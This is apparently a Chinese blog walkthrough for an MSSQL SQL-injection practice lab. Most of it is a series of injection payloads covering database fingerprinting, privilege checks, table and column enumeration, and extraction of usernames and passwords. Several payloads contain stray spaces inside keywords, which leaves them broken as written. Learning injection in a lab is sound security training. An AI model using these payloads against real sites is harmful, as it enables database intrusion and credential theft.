判断注入
首先用单双引号判断是否存在注入,这里可以看到是单引号
判断是否为 MSSQL 数据库
可以通过以下Payload来探测当前站点是否是MSSQL数据库,正常执行说明后台数据库为MSSQL;也可以根据页面的报错信息来判断数据库
' and exists( select * from sysobjects ) --
' and exists(select count( * ) from sysobjects)--
也可以通过以下SQL语句来判断注入点权限
' and exists(select is_srvrolemember('sysadmin')) -- 判断当前是否为sa
' and exists(select is_srvrolemember('db_owner')) -- 判断当前用户读\写文件的权限
查询数据库信息
user回显的dbo为最高权限,普通权限显示的是用户名
' union select 1,user,is_srvrolemember('public') -- 查用户
id=-1' union select 1,db_name,is_srvrolemember('public') -- 查数据库名
id=-1' union select 1,@@version,is_srvrolemember('public') -- 查版本信息
获取目标站点的表信息
这里需要我们去进行猜测有哪些表,可以用到以下语句
'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name f rom [sysobjects] where xtype=char(85) and status!=1 order by id)t order b y id desc)=1-- 查第二张表 'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !=' users ')-- 第三张 'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !=' users ' and name !=' emails ')-- 第四张 'and 1=(select top 1 name from sysobjects where xtype='U' and n ame !=' users ' and name !=' emails ' and name !=' uagents ')--
通过payload语句爆出表的所有字段信息
having 1=1-- 'group by 字段名 1 having 1=1-- 'group by 字段名 1 ,字段名 2 having 1=1--
爆破字段值
查看回显字段
'union select 1,2,3 from users --
查看字段内容
union all select 1,(select top 1 username from users),' 3 '-- union all select 1,2,(select top 1 password from users)--
标签:name,--,top,MSSQLILABS,union,攻略,靶场,select,sysobjects From: https://blog.csdn.net/Nai_zui_jiang/article/details/141359187